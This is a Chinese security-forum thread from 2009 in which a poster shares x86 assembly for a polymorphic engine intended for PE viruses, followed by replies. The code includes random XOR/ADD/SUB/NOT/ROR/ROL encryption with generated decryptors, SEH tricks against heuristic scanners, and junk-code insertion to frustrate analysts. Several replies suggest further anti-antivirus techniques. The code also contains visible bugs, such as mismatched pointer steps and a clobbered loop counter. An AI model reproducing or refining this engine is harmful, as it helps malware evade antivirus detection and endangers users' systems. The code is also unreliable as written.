1

[原创]CJPE32多态引擎完整架构及其实现

chenjianA 2009-5-8 17:44 8893
近来看了一些有关多态引擎方面的资料,也试着写了一个!现将源代码公布出来,希望高手们可以指点指点,以期更进一步的改进!
一.随机数生成算法
在我看来,多态引擎的核心在于随机数生成算法,我在这个引擎中使用的是最常见的随机算法,也即是用RDTCS指令来产生随机数,以后如果有更好的
随机算法,再修改!具体代码如下:
            ;---------------------------------------------------------------------------------------------
;入口参数:[esp+8]
;出口参数:eax=随机数
;函数功能:产生0---[[esp+8]-1之间的随机数或一个无范围的随机数
;需注意:此处的[esp+4]存放的是此函数的返回地址,也即是调用此函数的下一条指令的地址
;调用此函数需特别注意平衡堆栈问题
Random  proc                                                                           
        push edx                                ;保存edx,用于暂存余数
        db 0fh, 31h                             ;586 RDTCS 指令,取 CPU 计数器,做随机数种子
                                                ;读取的CPU计数值送入edx:eax中
        xor edx, edx                            ;edx清0
        cmp dword ptr [esp+8], edx              ;判断[esp+8]是否为0
        je  _ret                                ;若是0,则不必再产生随机数
        div dword ptr [esp+8]                   ;eax除以[esp+8]
        xchg eax, edx                           ;交换结果,eax=计算之后的余数
_ret :  pop edx                                 ;恢复edx的值
                  ret
Random  endp  

二.加密算法
      对于数据的加密,现在有很多高强度的算法,也有很多高手比我更精通数据的加密!我在这个引擎中,使用的加密算法很简单,总共有六套加密方案:
分别是:xor加密,add加密,sub加密,not加密,Ror加密,Rol加密!目前使用的加密方案就是这六种!这六种加密方案的执行,由随机数来控制!
代码如下:
      ;入口参数:
;  ecx=欲加密数据的长度
;  esi=欲加密数据的开始地址
;函数功能:此函数会产生六套加密方案
EncryptCode    proc
               push 0
                                        call Random
                                        add  esp,4
                                        mov  edx,eax
                                        mov  Key,eax   ;保存加/解密密钥
               push 6
                                        call Random            ;调用此函数产生0到5之间的随机数,用于界定六种不同的加密方案
                                        add  esp,4
               cmp  eax,0
                                        jz   StartEncrypt_Xor
                                        cmp  eax,1
                                        jz   StartEncrypt_Sub
                                        cmp  eax,2
                                        jz   StartEncrypt_Add  
                                        cmp  eax,3
                                        jz   StartEncrypt_Not
                                        cmp   eax,4
                                        jz   StartEncrypt_Ror
                                        cmp   eax,5
                                        jz   StartEncrypt_Rol
StartEncrypt_Xor:                      ;进行异或加密
               mov  eax,dword ptr [esi]
                                        xor  eax,edx
                                        stosd
                                        inc  esi               
                                        dec  ecx               
                                        jnz  StartEncrypt_Xor  
                                        mov  Method,0
                                        ret                    
StartEncrypt_Sub:                      ;进行sub加密
               mov eax,dword ptr [esi]
                                        sub eax,edx
                                        stosd
                                        inc  esi
                                        dec  ecx
                                        jnz  StartEncrypt_Sub
                                        mov  Method,1
                                        ret
StartEncrypt_Add:                      ;进行add加密
               mov  eax,dword  ptr [esi]
                                        add  eax,edx
                                        stosd
                                        inc  esi
                                        dec  ecx
                                        jnz  StartEncrypt_Add
                                        mov  Method,2
                                        ret
StartEncrypt_Not:                      ;进行not加密
               mov  eax,dword ptr [esi]
                                        not  eax
                                        stosd
                                        inc  esi
                                        dec  ecx
                                        jnz  StartEncrypt_Not
                                        mov  Method,3
                                        ret
StartEncrypt_Ror:                      ;进行ror加密
               mov  eax,dword ptr [esi]
                                        mov  cl,dl
                                        ror  eax,cl
                                        stosd
                                        inc  esi
                                        dec  ecx
                                        jnz  StartEncrypt_Ror
                                        mov  Method,4
                                        ret
StartEncrypt_Rol:                      ;进行Rol加密
               mov  eax,dword ptr [esi]
                                        mov  cl,dh
                                        rol  eax,cl
                                        stosd
                                        inc esi
                                        dec ecx
                                        jnz StartEncrypt_Rol
                                        mov Method,5
                                        ret
EncryptCode   endp

三.解密算法
   解密算法也很简单,这里不具体说明了,看下面得代码就可以了:
        ;此函数会产生6套不同的解密方案
DecryptCode      proc
                 mov ebx,Key
                                          cmp Method,0
                                          jz  DecryptData_Xor
                                          cmp Method,1h
                 jz  DecryptData_Sub
                                          cmp Method,2h
                                          jz  DecryptData_Add
                                          cmp Method,3h
                                          jz  DecryptData_Not
                                          cmp Method,4h
                                          jz  DecryptData_Ror
                                          cmp Method,5h
                                          jz  DecryptData_Rol
DecryptData_Xor:
                 mov byte ptr [edi],35h           ;xor eax,imm32
                                          mov dword ptr [edi+1],ebx
                                          add edi,5h
                                          ret
DecryptData_Add:
                 mov byte ptr [edi],2dh           ;sub eax,imm32
                                          mov dword ptr [edi+1],ebx
                                          add edi,5h
                                          ret
DecryptData_Sub:
                 mov byte ptr [edi],05h            ;add eax,imm32
                                          mov dword ptr [edi+1],ebx
                                          add edi,5h
                                          ret
DecryptData_Not:
                mov  word ptr [edi],0d0f7h         ;not eax
                                         add  edi,2h
                                         ret
DecryptData_Ror:
                mov  word ptr [edi],8acbh          ;产生mov cl,bl指令
                                         add  edi,2h
                                         mov  word ptr [edi],0d3c0h         ;产生rol eax,cl指令
                                         add  edi,2h
                                         ret
DecryptData_Rol:
               mov  word ptr [edi],8acfh           ;mov cl,bh
                                        add  edi,2h
                                        mov  word ptr [edi],0d3c8h           ;ror eax,cl
                                        add  edi,2h
                                        ret
DecryptCode    endp

三.用于对抗启发式扫描引擎的SEH结构化异常
   对于SEH结构化异常,我相信有很多高手比我更加精通.在这里,我只引发了三个异常,分别是:int 3 ,除0中断,inc/dec dword ptr [0]
高手们可以根据自己的需要来增加其他的SEH异常!
;              push 3
;              call Random
;              add  esp,4

;              cmp  eax,0
;              jz   SEH_1
;              cmp  eax,1
;              jz   SEH_2
;              
;              mov  eax,0cd03h
;              stosw
;              ret
;SEH_1:                           ;产生除0中断
;               push 3
;                                        call Random
;                                        add  esp,3
;                                        cmp  eax,0
;                                        jz   nextB_3
;                                        cmp  eax,1
;                                        jz   nextB_4
;                                        mov  al,0b9h          ;mov ecx,...指令机器码
;                                        stosb
;                                        xor  eax,eax          ;此处产生mov ecx,0指令
;                                        stosd
;              jmp  _div
;nextB_3:
;              mov  ax,0c92bh        ;产生sub ecx,ecx指令
;                                        stosw
;                                        jmp  _div
;nextB_4:
;               mov  ax,0c933h        ;产生xor ecx,ecx指令
;               stosw
;_div:
;               call rjunk
;                                        mov  ax,0f1f7h        ;div ecx指令机器码
;                                        stosw
;                                        ret
;
;SEH_2:                              ;产生inc byte ptr [0]或dec byte ptr [0]中断
;              push 3
;                                        call Random
;                                        add  esp,4
;                                        cmp  eax,0
;                                        jz   nextB_3
;                                        cmp  eax,1
;                                        jz   nextB_4
;                                        mov  al,0b9h          ;mov ecx,...指令机器码
;                                        stosb
;                                        xor  eax,eax          ;此处产生mov ecx,0指令
;                                        stosd
;              jmp  _Inc_Or_Dec
;SEH_21:
;              mov  ax,0c92bh        ;产生sub ecx,ecx指令
;                                        stosw
;                                        jmp  _Inc_Or_Dec
;SEH_22:
;              mov  ax,0c933h       ;产生xor ecx,ecx指令
;              stosw            
;_Inc_Or_Dec:
;              push 2
;              call Random
;              add  esp,4

;              cmp  eax,0
;              jz   SEH_23
               
;              mov  eax,0fe09h      ;dec byte ptr [ecx]
;              stosw
;              ret
;SEH_23:
;              mov  eax,0fe01h      ;dec byte ptr [ecx]
;              stosw
;              ret

四.垃圾指令生成
   为了干扰病毒分析人员的逆向分析,垃圾指令就是一个很好的解决方案.当然这里的垃圾指令不能影响正常代码指令的执行!这一点相当关键!
你可以根据自己的需要来产生不同字节长度的垃圾指令!

rjunk      proc
            push 6
                                call Random
                                add  esp,4

                                cmp  eax,0
                                jz   rjunk_0
                                cmp  eax,1
                                jz   rjunk_1
                                cmp  eax,2
                                jz   rjunk_2
                                cmp  eax,3
                                jz   rjunk_3
                                cmp  eax,4
                                jz   rjunk_4
            
                                call junk4
                                ret
rjunk_0:
            call junk1
                                ret
rjunk_1:
            call junk2
                                ret
rjunk_2:
            call junk3
                                ret
rjunk_3:
            call junk5
            ret
rjunk_4:
            call junk6
                                ret
rjunk       endp

上面的一些函数由于空间问题无法完全贴出来,可以在附件中找到!

五.存在的问题和改进方案
   这个多态引擎如果和PE病毒链接在一起,会遇到一些代码重定位的问题,需要高手们耐心调试!

改进方案:
        在这个引擎中,我在加密和加密的过程中,使用的寄存器都是eax,在我看来,这并不完美!这个寄存器应该是随机生成的,
以后有时间会改进这个问题,使之达到随机生成!

六.上面是我写这个多态引擎的一些重要思路!其他的细节问题,可到附件中找到源代码查看!
  希望高手们可以指点下!

推荐:论坛大聚会| 看雪安全开发者峰会将于7月21号火热来袭!

上传的附件:
最新回复 (11)
笨笨雄 2009-5-8 17:51
2
SEH能ANTI虚拟机的时代早就过去了。。。请注意你看的文章的年份。。。都多少年过去了。。怎么也能补上吧

包括花指令也是一样,不用比用好

病毒的目标是反识别,而不是加密

有些事情说太清楚了就没意思了,自己领悟吧
tzsljl 2009-5-8 17:51
3
SF.打我PP。我不乖,~~广告位出租~
Anskya 2009-5-8 17:56
4
随机数引擎有问题。。BPE32B那种--也就是你这样的
RDTCS指令的问题
有的CPU下取到的数永远都是双数。。。
所以整除2的时候~~mod 始终是0.
很容易陷入死循环

另外你那种SEH无意义。现在的VM都可以模拟和分析了
想要XX。。就需要。另外的方式。例如使用一些
DrX解码之类的---有些VM做的不好是无法分析的

加密:不如做成随机组合算法岂不是更妙?

ANTI-AV-VM---是AV使用的VM。。。
有几万种方法成千上万中方法。。。AV的VM完全可以无视
即使以后发展出。。无分支。多路模拟。也是没有任何意义的

前提是某个XX写出一款专门针对AV-VM进行攻击的壳---又不去和AV公司合作的话。

但是不表示就没有用了。。没有壳的情况下进行启发式查杀还是很具有权威性的
毕竟全程VM模拟运行很消耗资源
chenjianA 2009-5-8 20:13
5
呵呵,多谢仁兄的指教!以后会慢慢改进的!
Lenus 2009-5-9 01:31
6
嗯...这句话很有艺术。
cvcvxk 2009-5-9 02:50
7
还是乱序+CV吧~~写壳赚钱吧,别研究病毒了,病毒不能当饭吃~~

安心工作~

为世界和平继续努力
chenjianA 2009-5-9 09:36
8
从开始不懂多态到写完这个多态引擎,断断续续花了一个多月的时间,代码写的很垃圾,若是前辈高手,就飘过了,呵呵!
     对于你说的这个RDTCS指令,产生的问题,有一个方法可以解决,就是在调用Random这个函数时,
如果传递的是偶数,你可以传递 偶数+1 ,然后再过滤掉这个偶数就可以了!
笨笨雄 2009-5-10 00:05
9
不用PM我了....这种东西就跟下棋一样,可以自己和自己下,一直推算下去的....何必一定要抛出一个问题,等别人的答案,而不是自己去想呢.....
himcrack 2009-5-10 09:06
10
有乱序的思路没?
iiii 2009-6-13 11:32
11
Up!

rdtsc Inter的是偶数 AMD奇偶都有

直接用这个多好...
73144BF2    8B48 14         mov     ecx, dword ptr [eax+14]
73144BF5    69C9 FD430300   imul    ecx, ecx, 343FD
73144BFB    81C1 C39E2600   add     ecx, 269EC3
73144C01    8948 14         mov     dword ptr [eax+14], ecx
73144C04    8BC1            mov     eax, ecx
73144C06    C1E8 10         shr     eax, 10
73144C09    25 FF7F0000     and     eax, 7FFF
73144C0E    C3              retn
kang 2009-9-2 03:02
12
寄存器随机没有实现
随机API没有实现
加密,解密算法指令分散 没有实现
密钥随机 没有实现
NullCall技术没有实现
返回